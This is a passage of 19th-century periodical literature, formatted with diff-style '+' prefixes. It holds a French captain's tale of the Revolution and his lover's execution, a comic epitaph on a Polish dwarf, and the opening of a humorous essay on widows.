+I could communicate. He hesitated; but at length left me for about a
+quarter of an hour, and at his return bade me follow him. I obeyed; and
+we passed through several rooms, of no great pretensions as it regarded
+furniture,--there was, however, sufficient in each for use, and every
+one seemed adapted to receive different inmates.
+
+"At length we reached the end of a long gallery, and stopped in a small
+closet-like place, but well filled with light, and containing numerous
+emblems of the divining art of the being who ruled as mistress of the
+whole. There were globes of considerable magnitude, diagrams of the
+heavenly bodies, curious geometrical figures, two enormous skulls on
+pedestals, a human skeleton in a glass-case, stuffed snakes, mirrors
+that unnaturally enlarged the human features,--in short, the place
+was literally crowded with strange things to attract, or rather to
+distract, the attention. Here we lingered a few minutes, and then a
+small door was thrown open, into an extremely dark passage hung with
+black cloth, and lighted only by a diminutive lamp, that scarcely sent
+its feeble rays from one extremity to the other; the sombre appearance
+was well calculated to strike terror, and bewilder the weak minds
+that traversed its gloom. 'Pass on,' said my conductor; 'open the
+farther door! I quit you here.' I obeyed without hesitation, though
+I must own that, when I heard the portal close heavily behind me,
+and the key harshly grating in the lock, a sickening sensation crept
+over my spirit, and I was almost fainting with the closeness of the
+place. I pushed on with what haste I could, and, throwing open the
+door at the extremity, burst at once from darkness and gloom into a
+scene of resplendent brightness that dazzled the eyes; and, before
+I could recover my senses, I felt myself enclosed in the arms of
+some one who, by her dress, I concluded was the sibyl herself. Such
+a greeting appalled me, from its being so totally unexpected; but a
+well-remembered voice soon dispelled alarm. I was in the embrace of my
+venerable relative,--she who had influenced every action of my early
+life;--it was Madame T----!
+
+"Need I tell you that I was at once thrown into the very centre of
+the vortex of sedition? That this powerful woman, who had gained
+an ascendency that was as extensive as it was astonishing, quickly
+introduced me to the disaffected of the times, whom she actually ruled
+with a despotism they could not counteract? Need I tell you that
+my position at court, and the confidential favour of Calonne, were
+immediately turned to her advantage, so as to render her more absolute?
+She had unbounded wealth at her command, supplied from the treasury
+of the Duke d'Orleans; for, whilst she held council with La Fayette,
+Mirabeau, and others, the representatives of the middle classes,--who,
+in humbling the _noblesse_, had no idea of abolishing monarchy,--she
+also secretly encouraged the leaders of the mob, several of whom were
+sheltered in her house. I will not, however, weary you with details of
+politics; suffice it to say that Calonne was thrown down by those who
+had elevated him, whilst I retained my station about the royal person,
+was gradually raised to honour and trust, and became the companion,
+the favoured lover of the young countess. But the utmost caution was
+requisite: in public a restrained distance was preserved, for the
+purpose of concealment; in the hours of stolen privacy our very souls
+were firmly knit together.
+
+"Oh! my lord, it is not possible to tell the commotions which
+constantly agitated my mind. I saw the relative whom I had revered
+from infancy almost, incessantly engaged in overturning the throne,
+and annihilating royalty. She held an unaccountable control over my
+actions, and urged me on in the same career with herself; whilst the
+innocence of the queen, and my affection for the countess, stirred up
+the better feelings of my nature, and prompted me to fly from Paris.
+But the noble young lady's attachment to her royal mistress prevailed
+over every other sentiment, and she would not leave the queen. Day by
+day the crisis gradually approached. I ventured to reason with Madame
+T----, and was silenced by reproach; had she used threats we might have
+been saved. From thenceforth I was narrowly watched; my position with
+the countess became known; and the sibyl of Paris, to my surprise,
+rather encouraged than opposed it,--nay, she bade me look forward,
+as Calonne had done, to popular supremacy as most conducive to the
+happiness I sought.
+
+"The king, weak and fickle, one moment yielding, and the next annulling
+his consent, destitute of bold and energetic persons to guide or
+to defend him, and practised on by treacherous counsellors, became
+little more than a cipher in authority, though a rallying-point for
+conspiracy. Monsieur, the revolution had commenced! It called into
+action, men of ardent passions and extensive talent. The court, the
+Count d'Artois, the Polignacs, could not cope with them. Liberality
+gained the ascendency. The _noblesse_ and the clergy, after making
+a show of resistance to popular demands, hurled themselves into the
+revolutionary torrent, and were swept away. My detestation of monarchy
+had been to my heart like the life-streams that supplied the channels
+of existence; yet, when I saw the fated king in his retirement, amidst
+his family, with his children on his knees, and the beautiful white
+arms of the queen around his neck, compunctious visitings would swell
+my breast; for I knew the national assembly which had been convened
+was to be the destruction of Louis, and I, on whom benefits had been
+showered, was sworn an accessory to his downfall!"
+
+"Really, Citizen Captain," said his lordship, rather warmly, "you
+worked the devil's traverse with a vengeance! Upon my word, you have
+been a--ha, hem!--excuse my English blood. There's something yet to
+come; pray proceed. One may gather a useful lesson even from--I beg
+pardon--proceed."
+
+"An impulse I cannot counteract impels me to continue," returned Begaud
+proudly, "or, otherwise, my tongue should be silent. If you are an
+unwilling listener, my lord, have the politeness to say so; all that I
+desire is a hearer, not a judge."
+
+"True, true!" responded Lord Eustace. "I have to apologise for my
+warmth. Believe me I am all attention."
+
+"Step by step," continued the French captain, "the revolution
+proceeded. The chambers became united,--not for the purpose of
+resisting popular demands, but that by their embrace they might hug
+each other, to the death of both. The royal sitting took place; the
+assembly insisted on concessions, well knowing that the sceptre was
+passing away from the royal grasp; and Louis menaced in return,
+being, however, wholly destitute of influence or power to carry his
+menaces into operation;--he was the braggart of the morning, the
+shrinking imbecile of sun-set. It was shortly after this that the
+Count d'Artois undertook to stop the revolutionary torrent. He might
+as well have attempted to control the lightning's forked flash, or
+tried to have silenced the rolling of the thunder. Arms were seized;
+bloodshed followed. The Bastille--ha! ha!--the Bastille came down!
+the populace triumphed! the physical strength of the lower orders had
+developed itself as superior to every other appliance, and threatened
+to overwhelm the middle classes, who had stirred up the ponderous and
+mighty engine to perpetrate devastation. The joy of Madame T---- became
+unbounded; but her schemes had not yet arrived at the full maturity she
+wished. Her idol, La Fayette, it is true, was rising to the zenith;
+but she deceived even him. The Duke d'Orleans was her prompter; his
+gold was scattered by her amongst the mob with a profuse hand; and
+neither Bailly, (who had been created mayor of Paris,) La Fayette,
+nor the leaders of true liberty, were aware of the extent to which
+corruption was carried to further revolutionary designs, and bribe the
+mob to renewed sedition.
+
+"Constant in my attendance upon the royal family, I was also assiduous
+in my attention to the young countess. Monsieur, if ever hearts
+truly loved, those hearts were ours! Yet, apart from each other, how
+different were our actions! Hers was all-confiding, fond attachment and
+devotion; whilst, at the same time, she persisted in following and in
+sharing the fortunes of her royal mistress. I almost idolized Amelie,
+and would cheerfully have sacrificed my life to have preserved hers;
+but I still retained my deadly hatred to monarchy, and had registered
+an oath to work its overthrow. Oh, Monsieur! had Louis been born in a
+private station, his amiability would have gained him the love, the
+estimation of all; but he was a king, and it was against the crown the
+battery was levelled. Had the _noblesse_, had the clergy acquiesced
+in the reasonable plans at first proposed, and then stood firm by the
+throne, the middle classes must have partially yielded; but they first
+abandoned their own position, and then deserted their monarch.
+
+"Mirabeau arose: La Fayette began to doubt his powers to allay the
+revolutionary phrensy; he wished to preserve the monarchical form of
+government, and opposed the insurrectionary movements with an armed
+force; but Mirabeau died, and, according to his own prediction, the
+faction soon tore the last shreds of monarchy asunder. The king
+attempted to escape; I aided that attempt, Monsieur; and glad should
+I have been, had the royal family attained a place of safety! But the
+scheme was frustrated, and frustrated by whom? by Madame T----, whose
+intelligence, independent of myself, had placed the fugitives within
+the power of the Orleanists. Amelie, at the earnest request of the
+queen, remained behind, so that the numbers might not attract notice;
+but she was at the earliest opportunity to follow Marie Antoinette.
+That opportunity never offered itself. The royal family were brought
+back to Paris. Petion and Robespierre clamoured for a republic. In
+vain Bailly and La Fayette dyed the Champ de Mars with the blood
+of democrats. The new legislative assembly mocked and insulted the
+monarch. They began their sitting in puerility; they terminated their
+decrees in blood!
+
+"The Tuileries was soon afterwards invaded by the mob, and Louis's
+head assumed the symbol of revolution; the crown was already crushed,
+the red cap had taken its position even upon the monarch's brow;
+royalty was no more, and my heart exulted in its annihilation. Still I
+pitied the fate of the Bourbons. The people feared them; there seemed
+something in the very name of king which stirred up feelings no earthly
+power could subdue. The secrecy I had observed with Madame T----
+relative to the flight of the royal family had exposed me to suspicion,
+and my condemnation would have been sealed but for the timely rescue
+of my aged relative, who saved me from assassination; but I no longer
+held influence with either party. I exhorted the countess to fly with
+me; but the noble and heroic woman remained firm to her duty, and I
+determined rather to perish with her than leave her to the remorseless
+cruelty of the rabble.
+
+"The northern armies were rapidly marching to the frontiers unresisted.
+The prisons of Paris were crowded with royalists, and such as were
+suspected of favouring their views; and, as circumstances had excited a
+strong feeling against me, I was at length consigned to the Abbaye; but
+an emissary of Madame T---- assured me that it was more for security
+than punishment. Horrible were the spectacles that daily succeeded
+each other. The stones of the court-yard of the Abbaye reddened with
+the blood of victims till the day of immolation crowned the demons
+of revolution with a wreath that hell itself might envy. I had been
+called before Maillard, and questioned; my replies appeared to be
+satisfactory; I was commanded to act as secretary to this wholesale
+murderer. A table was placed in the court-yard, at which Maillard
+took his seat, with a knife yet reeking with blood before him. On
+either side were arranged about a dozen of the lowest order of _sans
+culottes_, to form the mockery of a tribunal, whilst near the entrance
+stood a ruthless band of sanguinary assassins armed with knives and
+mallets. The portal was thrown open, a carriage drove in, and from
+it alighted an ecclesiastic, his robes torn and soiled, his face the
+semblance of despair, his step, as he descended, feeble,--for he was
+aged and weak. His feet touched the ground, Maillard raised his bloody
+token, a blow from a mallet felled him to the earth, the wretches
+closed upon their victim, and beat and wounded him till his last
+convulsive shudder proclaimed that life was extinct! Another presented
+himself; but he was young and active, and he sprang at once into the
+midst of the assassins, and stood proudly erect. For the moment the
+hired tools of vengeance were appalled; but again the knife was raised,
+and rage returned with redoubled energy for having suffered a recoil!
+Another and another succeeded as the carriages drove in. Age and
+infirmity had their brief career shortened! Youth and strength were cut
+off in their prime! The sacred character of priest was no protection;
+and, Monsieur, I registered the names of twenty-three ecclesiastics
+whose mangled bodies were piled against the wall. There was yet
+another; but he was saved almost by miracle, and his preservation is
+yet to me unaccountable.
+
+"I will not go over the events of that day. Every being within the
+prison was massacred except the women, and one or two who were saved by
+their intercession. Goblets of blood--the blood of aristocrats--were
+handed to daughters and wives, as the test of safety to a parent or
+a husband; and the disgusting draughts were swallowed with a horrid
+eagerness lest it should be supposed they shrunk from the task.
+Monsieur, my very soul sickened. I had hated monarchy; but I had never
+contemplated the possibility of such enormities as I was then compelled
+to witness. The infuriated beasts of the wildest forest could not be
+compared to these hyenas in human form; for, whereas instinct would
+lead the first to rend their prey for food without the ingenuity of
+torture, the latter called in the aid of human invention to prolong the
+sufferings of their victims, for the purpose of glutting their worst
+and most baneful passions.
+
+"I was released, and sought the residence of Madame T----; but I found
+that even her protection would not avail me. The torrent had reached
+even to her, and she feared being carried away by its eddies. There
+was but one alternative,--a commission in the army of the North. This
+was accepted; but, previous to my departure, (though only a few hours
+were allowed,) I endeavoured to obtain intelligence of Amelie. She was
+in the Temple with her fated mistress, and I was hurried off to join
+the Duke de Chartres[28] on the frontiers. La Fayette was induced to
+give himself up to the enemy, who erected the finger of menace before
+they had power to execute. A manifesto was published, summoning the
+Parisians to return to their allegiance, and, in case of refusal,
+threatening to deliver them up to military execution. Bah! Monsieur,
+it was gasconade! and by whom was this precious document drawn up? By
+the very man who had first set the revolutionary machine in motion, and
+who now imagined that the Parisians, having plucked forth the sword
+and thrown away the scabbard, were to be terrified by mere threats;
+it was my old master, Monsieur Calonne. This act of his, brought the
+unfortunate Louis more hurriedly to the scaffold.
+
+"I was present under Dumouriez at Valmy, where the allies, as if
+panic-stricken, showed the futility of their threats, for we were
+victorious. Conquest succeeded to conquest. The battle of Jemmapes
+was fought, and Belgium became ours. It was whilst prosecuting a
+hazardous march that intelligence reached me that Louis was no more.
+Madame T----'s revenge was satiated; but she herself perished near
+the guillotine, an awful instance of fearful retribution. She had
+hurried in disguise to the place of slaughter, and obtained a near
+approach to the fatal instrument. Her joy at seeing the axe fall was
+unbounded; she shrieked with delight, and, being recognised, was raised
+upon the shoulders of the women, and in the madness of the moment was
+worshipped with enthusiastic fervour: they bore her along through
+the swelling crowds, and, amidst their awe and homage, she cried for
+fresh victims,--'The queen! the queen!' Her shout was reiterated by
+the mob, in whom the sight of royal blood had quickened the tiger-like
+ferocity of their sanguinary thirst for gore; and they were hurrying
+towards the prison of the bereaved wife and wretched mother, when a
+_garde du corps_, in female attire, fought his way to the head of the
+procession. He, too, had witnessed the murder of his royal master; and,
+terror for his own fate inspiring him with a desire to fall at once,
+he formed the determination to have a companion in his exit. He stood
+before the shouting mob, who were compelling every one to do obeisance
+to their idol; he stooped down, as if in obedience to their mandate;
+but, making a sudden spring, like the panther from his lair, or the
+snake from his coil, he gripped the sibyl by the throat, dragged her to
+the earth, and stabbed her to the heart! 'Twas the work of an instant;
+the sound of her voice had scarcely died away in the distance as she
+stirred up the vindictiveness of the populace, when she lay extended
+on the frost-bound ground a lifeless corpse. The _garde du corps_
+was instantly seized, and in a short time his dissevered limbs were
+scattered through the Place Louis Quinze. Thus terminated the life of
+Madame T----, and the queen was spared a little longer.
+
+"Anxious for the security of Amelie, I requested leave of absence, but
+it was refused me,--'my services were required with the army.' Again,
+and again, at intervals, I renewed my application, with no better
+success; till, goaded by agony, I threw up my commission, and returned
+to Paris, where I found Robespierre the leader of the day. The queen
+had shared the fate of her royal consort, and the countess was under
+condemnation in a dungeon of the Conciergerie. Maddened and desperate,
+I sought out Danton, and endeavoured to enlist him on my side for
+the preservation of her I loved; but he had argued himself into
+cold-blooded policy, and recommended my abandoning Amelie to her fate.
+With difficulty I was allowed an interview with the devoted lady; and,
+oh! Monsieur, language cannot describe the bitterness of those moments!
+Her affection was unchanged and unsubdued. She was calm and collected,
+though there was the prospect of only a few hours' division between her
+and eternity. Young and beautiful, though somewhat wasted by distress
+and hunger, I could not look upon her resigned and heroic conduct but
+as something too valuable for my possession, and only worthy of that
+heaven to which she was hastening. We parted; and I left her with the
+assurance that no means should be left untried to preserve her life.
+I hurried to Robespierre, and met Danton coming out; a cold sick
+shuddering rushed through my heart; nevertheless, I entered the bureau
+of the tyrant, who commenced a rapid series of questions relative to
+the defection of Dumouriez, (who had passed over to the enemy,) and the
+state of the army of the North. Repeatedly did I attempt to introduce
+the object of my visit, and as often did he foil me. The insatiate
+monster! the consummate villain! At length I obtained a hearing,
+described my services, promised the most implicit compliance with every
+order he might give, provided the life of the countess was granted me
+as a boon. 'Her attachment to the queen,' said he, 'has rendered her
+conspicuous, and these are not times in which to suffer the milk of
+human kindness to overflow the current of a just retribution.'--'Her
+devotion to her mistress ought to excite admiration, Monsieur Citizen,'
+returned I; 'but I will answer with my own existence that henceforth
+she will cause no trouble, but bend to the will of the nation.'--'You
+promise well,' said he, 'and, did it rest with me, the pardon might
+be easily accomplished; but we want recruits to meet the enemy, and
+they refuse to join our standard, lest, during their absence, the
+aristocrats should again usurp the power, and revenge themselves on
+the families and friends of those who are in the field. Young man,
+I fear the case is hopeless.'--'You want trusty servants, Citizen,'
+rejoined I,--'men on whom you can rely with confidence that they
+will neither desert nor betray the interests of the nation. Save the
+life of this innocent, and you bind me yours for ever.' He held me
+for some time in conversation. I entreated, I implored,--nay more, I
+wept! and the drops that were wrung from my eyes were like boiling and
+scalding blood rushing from my heart. He seemed moved to compassion;
+tears stole down his cheeks! Bah! the wretch was mocking me! no soft
+distilment of generous sympathy was ever wormed from out his breast!
+'I have an important duty for you to execute;' said he, 'perform
+it with fidelity, and the pardon shall be granted,'--'But the time
+is short,' remonstrated I; 'Citizen Danton----!' 'You are right,'
+he answered, and, hastily snatching a piece of paper, he hurriedly
+wrote a few lines, which he presented to me. 'This will stay the
+execution,' he added; 'Danton is not to be trusted.'--'The pardon,
+Monsieur Citizen!' exhorted I; 'let me but see her released, and I am
+yours, soul and body!'--'The populace, my friend,' returned he; 'the
+populace and Danton! Has she not seduced a brave officer from the
+defence of his country? Believe me, she is more safe within the walls
+of the Conciergerie than if exposed to popular violence.'--'As my wife,
+Monsieur,' responded I, 'she will immediately return with me to the
+army. Grant me her pardon and her liberty, let the rest fall upon my
+head.'--'You are wilful,' said he, somewhat sternly; 'but take your
+wish.' Again he wrote, and once more I received a document, that seemed
+like renewed light, and hope, and life to me. 'You will return here,'
+continued he, 'when your mission is accomplished; I have business for
+you. Use despatch now, but do not fail hereafter.'
+
+"With a bold step and a bounding heart I hurried from his presence,
+and ran toward the prison. In one of the streets I met a _fiacre_
+accompanied by the officers of justice, and I knew it was some poor
+wretch whose hours were numbered; and, oh! how did my spirit exult in
+the thought that Amelie--my own Amelie--would be rescued from a similar
+fate! I stopped not to ascertain who the condemned prisoner was; but
+with my quickest speed presented myself at the prison gate. I showed my
+paper, the porter admitted me; and, oh! Monsieur, what tongue can tell
+the joyous and eager delight that held a sainted fête within my breast!
+In a few minutes I should hold her within my arms, should clasp her
+in my embrace, and lead her forth to freedom. And yet I trembled: the
+perspiration stood in big drops upon my face. I felt a sickness steal
+over me; though not a fear, not a doubt arose in my mind of Amelie's
+liberty. The head gaoler was engaged; but in a time,--though short, it
+was an age to me,--he came; I delivered the document into his hands;
+he read it, shook his head, and, whilst a suffocating sensation almost
+stifled every faculty, I heard him say, 'I fear you are too late.
+Amelie de M---- has already departed for the place of execution!'"
+
+Here vivid recollection appeared to overcome the Frenchman's strength
+of mind; he paced the deck athwart-ships with impetuous strides; the
+picture of desolation was probably present to his imagination in all
+its horrors; and Lord Eustace could not behold his apparent agony
+unmoved, but he did not speak, rather preferring to leave nature to
+its own operations. In a few minutes the captive grew more composed;
+he again placed himself by his lordship's side, folded his arms, and
+proceeded.
+
+"Yes, my lord, she had indeed departed, and was the inmate of that
+_fiacre_ I had passed on my hurried way to the prison. The truth
+instantly flashed upon me; in my disregard for the sufferings of
+another, I had consigned her to an ignominious end. I had the pardon
+in my hand. I might be her murderer!--Might be? there was a hope in
+that surmise; and, resuming the document, I flew rather than ran
+towards the fatal spot. People stared at my headlong speed, and gave
+way before me. I saw the guillotine, with the prostituted figure of
+Liberty presiding over it. My breath began to fail; but yet I shouted.
+There was a commotion in the crowd as I held up the paper high above
+my head. I rushed forward. The few persons who had collected opened a
+passage, and I reached the scaffold at the very moment the axe fell,
+and the decapitated trunk of the young and beautiful, sent forth
+its gush of blood to waste the fountain of life! At first I stood
+speechless with horror and amazement; but when the head was raised, and
+I saw those tresses I had loved to weave amongst my fingers, stained
+with gore,--when I beheld the cheek that had been pressed to mine
+still quivering in the last death-pang,--phrensy drove reason from
+her seat. I raved till the air rang with my maledictions. I cursed
+the Convention, and denounced the monsters Robespierre and Danton.
+The guard were about to seize my person, when a young man caught me
+by the arm, claimed me as his brother, and declared I was a lunatic,
+escaped from the control of my keepers. He dragged me away with him to
+his lodgings, and, when my fit of passion was passed, I recognised the
+youth I had saved from drowning during the earthquake of Messina.
+
+"That night we quitted Paris together, for he would not suffer me to
+remain alone, and despair had fixed a melancholy upon my mind that
+rendered all places alike to my despondency. For a time we sojourned
+in the country; but my friend received orders to join the army
+employed against Toulon, and I accompanied him. He had been a pupil
+in the artillery school of Brienne; he was soon raised to eminence
+by his skill and judgment, and the whole artillery department of the
+army before Toulon was placed at his disposal. Through his talent
+and intrepidity Toulon fell; and I obtained by his recommendation
+a lucrative office, and ultimately rose through the several grades
+to that in which you found me,--_capitaine de frégate_. Monsieur,
+the youth of Messina, the artillery officer who snatched me from
+the myrmidons of Robespierre, is now the First Consul of the French
+nation,--Napoleon Buonaparte!"
+
+Here Citizen Begaud ceased. The chase was closing nearly within hail,
+and, without exchanging another word, Lord Eustace walked to the
+gangway.
+
+FOOTNOTE:
+
+[Footnote 28: The present King of the French.]
+
+
+
+
+LINES
+
+_Occasioned by the death of the Count Borowlaski, a Polish dwarf, whose
+height was under thirty-six inches, and who died at Durham, on the 5th
+of September last, aged ninety-eight._
+
+
+    A spirit brave, yet gentle, has dwelt, as it appears,
+    Within three feet of flesh for near one hundred years;
+    Which causes wonder, like his constitution, strong,
+    That one so _short alive_ should be _alive so long_!
+                                    J.S.
+
+
+
+
+A CHAPTER ON WIDOWS.
+
+
+Widows! A very ticklish subject to handle, no doubt; but one on which
+a great deal may be said. An interesting subject, too,--what more so?
+What class of persons in the universe so interesting as weed-wearing
+women? We are not sure that on paper they have ever been treated as
+they deserve. We don't think they have been considered as they ought
+to be: their past, their present, and their future, have not been
+speculated upon; their position in the world has not been decided.
+They have simply been spoken of _as_ widows, in the gross: the various
+circumstances of widowhood have never been distinguished; as if
+those circumstances did not subdivide and classify, giving peculiar
+immunities to some, and fixing peculiar obligations on others; as if
+every good woman who has the fortune, or misfortune, to call in an
+undertaker, is placed in precisely the same situation as far as society
+is concerned, or ought to be judged or guided by the same rules. We
+shall begin with a definition; not because any one can doubt what a
+widow is, but because we have a reason.
+
+A widow is--"a woman who has lost her husband." We must here premise
+that it is no part of our present plan to say a syllable about those
+whose husbands have taken themselves off--the dear departed,--and not
+been heard of, Heaven knows how long: nor of those who have lost the
+affection, and attention, and care of their husbands; for, however much
+they may be widows as to the comforts and endearments of married life,
+they are not widows for our purpose.
+
+We shall define a widow in other words. A widow is--"a woman whose
+husband is dead." This would not be sufficiently intelligible unless
+we were to add "dead by due course of nature, accident, or physic,"
+because there is such a thing as a man being dead in law; and as
+we have ever carefully eschewed all things pertaining, directly or
+indirectly, to that dangerous "essence," as far as volition could
+assist us, so we intend to eschew them. We mean, then, dead in fact,
+and comfortably buried, or otherwise safely disposed of.
+
+And now, having settled a definition, let us proceed to the division of
+our subject.
+
+We propose to treat of young widows, middle-aged widows, and old
+widows; to speak of them the truth, and nothing but the truth, and, if
+not the whole of it, sufficient we trust to show that they have merited
+our attention.
+
+A young widow must be on the tender side of twenty-eight; the tough
+side begins, and ten additional years limit, middle-aged widowhood;
+while all from thirty-eight to a hundred must take rank, in this army
+at least, as granny-dears.
+
+A young widow!--to what emotions of tenderness and pity do these
+words give rise! With what a vivid scene of wretchedness is the mind
+oppressed! Do they not tell us a tale--and how briefly too!--of joy
+and sorrow, rejoicing and wailing?--happy anticipations and blighted
+hopes crowded into one little space? In our mind's eye, we see a fair
+and blushing bride, an animated ardent bridegroom, a group of happy
+friends, favours, and festivals; in the background of the picture, a
+grave. One is missing from the party, never to return; gone from the
+light and warmth of love, to the cold but constant embrace of the
+tomb,--from the _few living_ to the _many dead_! The atmosphere was
+sweet, and life-instilling; an arc of promise was above us: that arc
+has vanished, that atmosphere has changed,--it is thick, oppressive,
+dank! Hope's lamp flickers, as if it would go out for ever.
+
+This is undoubtedly the cambric-pocket-handkerchief view of the matter,
+making, as some would say, the "devils" very blue indeed; but it is
+one that strikes many, perhaps all, who are not of a fishy or froggy
+temperament: at the same time, we will admit the brush is dipped in
+the darkest colours, and that we might have been a little less sombre
+by imagining the defunct a fat and apoplectic old fool, who had only
+decided upon going to church when he ought to have been looking to the
+church-yard; in which case, "a young widow," instead of drawing on
+the deep wells of the heart, draws upon our cheerful congratulations,
+and stands forth "redeemed, regenerated, and disenthralled by the
+irresistible genius of universal emancipation."
+
+Whether under the melancholy or the happy circumstances to which we
+have alluded, a young widow is a very different being to what she has
+ever been before; in identity of person she is the same, but there is
+no identity of position; as regards society, there is no identity of
+rights, privileges, licences, or liabilities. The great difference as
+regards herself is, that, for the first time in her life, she is her
+own protector: many things that she could not do as a girl, and dare
+not do as a wife, are now open to her. She has been "made a woman of,"
+and is a very independent person. After languishing a fitting time
+in calm retirement and seclusion, having "that within which passeth
+outward show," she reappears to the world decked in "the trappings
+and the suits of woe." We purposely use the word "decked," because
+in its most familiar sense it implies "adorned," at least as applied
+to the "craft" we are now convoying. We should very much like to be
+told, and very much like to see, a more interesting sight than a young
+widow, when, after having been laid up in ordinary the ordinary time,
+she leaves her moorings, in proper "rig and trim," to prosecute the
+remainder of the voyage of life. The black flag is up, and no doubt she
+means mischief; but all is fair and above board. No mystery is made of
+the metal she carries, the port she is bound for. She may take a prize,
+or make one; but it must be by great gallantry if she is captured.
+
+To drop metaphor: a young widow is, we repeat, an extremely delightful
+and highly privileged creature. Mark her in society,--we do not care
+how limited or how extensive,--and she bears the palm in the interest
+that is excited. We will give a showy animated girl of eighteen the
+benefit of a first appearance; we will allow her to have excited the
+attention of the room, to be the observed of all observers; every one
+shall be asking, "Who is the young lady in pink crape?"--she shall have
+danced and sung herself into full-blown importance,--she shall have
+turned as many heads as she has times in her waltzing;--and then, a
+little late in the evening, we will introduce, very quietly,--no loud
+double knocking at the door, no voices of servants echoing her name,
+no rustling of silks or satins,--a young widow! just "one year off;"
+she shall slide gently into the room, seeming to shun observation, as
+they all do, (lest perchance some ill-natured person should wonder what
+business they have there,)--and, contented with a simple recognition
+from her host or hostess, she shall occupy some "silent nook," and rest
+satisfied in its shade. Presently, some one shall chance to _speak_
+of her as "a young widow,"--the lady of the house, for instance, who
+usually occupies every leisure moment in informing groups of her old
+visitors the names and et-ceteras of her young ones,--she shall happen
+to say, "Excuse me one moment, I _must_ go and speak to poor Mrs.
+Willow."
+
+"_Poor_ Mrs. Willow!--what can that mean?" wonder all who hear it.
+
+And then the lady comes back, and explains that Mrs. W. is a widow.
+
+"Poor thing!" says one.
+
+"Only think!" says another.
+
+"How very young!" says a third.
+
+"Any children?" asks a fourth.
+
+"I thought she looked melancholy!" observes a fifth; and then, after
+staring at the object of their commiseration and curiosity sufficiently
+long to be sure they will know her again, they separate with the view
+of advertising the interesting intelligence. It being known to four old
+women, and one middle-aged man who doesn't dance, it speedily spreads
+over the whole room; and, provided no one intimates off-hand a superior
+case of affliction in the person of any one present, the young widow
+has to bear the brunt of a very wholesale inspection. There is also a
+great deal of wonder; people wonder in classes:--the elderly, What her
+husband died of,--the young ladies, Whether she has any family,--the
+gentlemen, Whether she has any money. During all this wonderment, "the
+young lady in pink crape" is entirely forgotten.
+
+Now, if the young widow should happen to feel at all "at home," and
+chooses to "come out" a little, mark what follows: "the young lady in
+pink crape" has to dance the remainder of the evening with red-haired,
+freckled, pock-marked, snub-nosed, flat-footed fellows, with whom she
+would not have touched gloves an hour ago, while all the stylish staff
+that then surrounded her, are doing homage at another shrine.
+
+And no wonder!--A girl may be very agreeable and "all that," as people
+say when they want to cut description short; but it's impossible she
+can hold a candle to a young widow. She is obliged to be circumspect
+in all she says,--to weigh every word,--to cripple her conversation,
+lest she should be thought forward; but, worse than this, she is so
+deuced simple and credulous, that a man with a fine flowing tongue is
+apt to mislead her, and place himself in a false position before he
+gets through a set of quadrilles; whereas with the other partner it
+is _tout au contraire_. "Old birds are not to be caught with chaff;"
+and old the youngest widow is, in "the ways of men," compared with the
+bread-and-butter portion of the unmarried world. You may rattle on as
+much as you please, so may she; you neither of you mean anything, and
+both of you know it: besides, no one has a right to forbid it; you are
+your own master, she her own mistress. Dance ten times in an evening
+with her, and call in the morning. What then!--she has her own house,
+her own servants. What more?--she is--able to take care of herself.
+
+So much for a young widow in society, or those scenes of life in
+which the actors and actresses play more immediately against one
+another; scenes in which tragedy, comedy, melo-drama, and farce--the
+last predominating--are brought before us. Now, if we step behind the
+scenes, and look a little into the privacy of the domestic circle,
+and observe her as one of the "select few," we fancy we shall still
+find her maintaining her pre-eminence as an intelligent companion
+and delightful friend. When we use the term "intelligent," we do not
+presume to say that she is necessarily more acute than she was as a coy
+maiden, or than the virgin of our acquaintance, as touching any branch
+of historical, artistical, or scientific information; but we mean
+intelligent in an unobtrusive but every-day-available knowledge of "men
+and things,"--in other words, a knowledge of the world. She has pushed
+off from shore, and has learnt a little of the current of life, its
+eddies, shoals, and quicksands. She has lost the dangerous confidence
+of inexperience, without having acquired an uncharitable distrust; and
+smiles at the greenness of girlhood, without assuming the infallibility
+of age. She is not too old to have sympathy for youth, nor so young as
+to slight the experience of years. In her past, joy and sorrow have
+commingled; in her future, hope is chastened by reason.
+
+Some imaginative people of bygone centuries decided that fire produced
+all things, and that this fire was inclosed in the earth. Of fire,
+Vesta was the goddess; or, as the Romans sometimes thought, Vesta
+herself was fire. Ovid is our authority for this:
+
+    "Nec tu aliud Vestam quàm vivam intellige flammam."
+
+The same gentleman, also, synonymizes her with another element:
+
+    "---- Tellus Vestaque numen idem est."
+
+Now, whether Vesta was fire, or fire Vesta, or whether the earth
+and Vesta were one and the same fire, we are not in a condition to
+determine; and as there are no muniments of any Insurance Office to
+throw light on the matter,--even the "Sun" had not then begun business
+in this line,--the curiosity of the curious must remain unquenched.
+This, however we know, that Vesta's waiting-women;--we beg their
+pardon, the goddess's lady's-maids,--the Vestales of her Temple,
+had, beyond the usual routine of their business, such as dressing
+and undressing her; waiting her whims, and getting up her linen, the
+onerous charge of watching and guarding the holy fire, and lighting
+it once a year, whether it required lighting or not. The first of
+March was the appointed day for this ceremony; though the first of
+April might have been, under all the circumstances, a more appropriate
+anniversary. We have no distinct records as to whether these young
+women were familiar with the application of flint and steel to tinder,
+or whether the royal-born Lucifer had, in those days, taken out a
+patent for his matches; there is little reason for regret, however,
+in this uncertainty, inasmuch as neither the one nor the other could
+have been made use of. The holy fire might be supplied from no common
+flame, and they had therefore to ask "the favour of a light" from the
+pure and unpolluted rays of the Sun.
+
+Now we humbly conceive that our motive for introducing this interesting
+little classical episode must be obvious from its conclusion.
+
+We were talking of one--though certainly not in any probability a
+Vestal virgin--whose "sacred flame" had gone out, and we felt we should
+be expected to say something of its re-lighting. Thinking, preparatory
+to writing, we recollected all that we _have_ written, and we were
+interested and amused with the identity of means employed for a common
+end two thousand years ago and in the present day; as it then was, so
+it now is, managed by _attraction_.
+
+It has just occurred to our reflective mind, that the imaginative
+people before-mentioned must have been figurative also; and meant by
+earth, human clay,--and by the fire therein, love. We should like to
+know what love will _not_ do; and, until we are told, we shall deem it
+capable, as the ancients did fire, of producing everything.
+
+And now a few words upon the marriage of a young widow. We might be
+expected to discuss the question of second marriages generally, and
+weigh the arguments pro and con,--the romance against the reality of
+life; but we decline doing so at present, on the ground that, right or
+wrong, young widows at any rate have ever had, if possible, and even
+will have, a second string to their bow, should grim Death rudely snap
+the first,--a second arrow to their quiver, should the first be lost
+"beyond recovery."
+
+She marries again,--may we say, loves? If she has loved before, we may
+not. _He_ is in the grave, and her "heart is in the coffin there." But
+she marries; and, though she may exclaim,
+
+    "No more--no more,--oh! never more on me
+    The freshness of the heart can fall like dew,"
+
+in the spirit of the words,--she takes nothing from their truth by
+substituting one reading for another:
+
